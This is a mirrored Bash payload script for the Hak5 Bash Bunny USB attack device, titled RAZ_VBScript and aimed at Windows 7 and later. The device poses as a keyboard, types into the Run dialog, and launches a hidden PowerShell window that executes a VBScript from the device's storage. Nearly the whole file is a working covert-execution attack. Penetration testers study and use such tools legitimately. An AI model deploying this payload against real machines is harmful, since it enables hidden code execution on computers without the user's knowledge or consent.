mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
45 lines
1013 B
Bash
45 lines
1013 B
Bash
#!/bin/bash
|
|
#
|
|
# Title: RAZ_VBScript
|
|
# Author: RalphyZ
|
|
# Version: 1.1a
|
|
# Target: Windows 7+
|
|
# Dependencies: Included a.vbs script
|
|
#
|
|
# Description: Executes a VBScript, concealed in a hidden PowerShell window
|
|
#
|
|
# LEDS:
|
|
# Magenta: Setting attack mode, getting the switch position
|
|
# Red Blink: Could not find the a.vbs script
|
|
# Yellow Single Blink: Running the VBScript
|
|
# Green Blink to Solid: Script is finished
|
|
|
|
# Magenta solid
|
|
LED SETUP
|
|
|
|
# Set the attack mode
|
|
ATTACKMODE HID STORAGE
|
|
|
|
# Get the switch position
|
|
GET SWITCH_POSITION
|
|
|
|
# Check if a.vbs is present
|
|
if [ ! -f "/root/udisk/payloads/${SWITCH_POSITION}/a.vbs" ] ; then
|
|
LED FAIL
|
|
exit 1
|
|
fi
|
|
|
|
# Start the attack - yellow single blink
|
|
LED ATTACK
|
|
|
|
# Run the VBScript
|
|
QUACK GUI r
|
|
QUACK DELAY 100
|
|
QUACK STRING powershell -WindowStyle Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\${SWITCH_POSITION}\\a.vbs') -e cmd.exe"
|
|
QUACK ENTER
|
|
|
|
|
|
# Green 1000ms VERYFAST blink followed by SOLID
|
|
LED FINISH
|
|
exit 0
|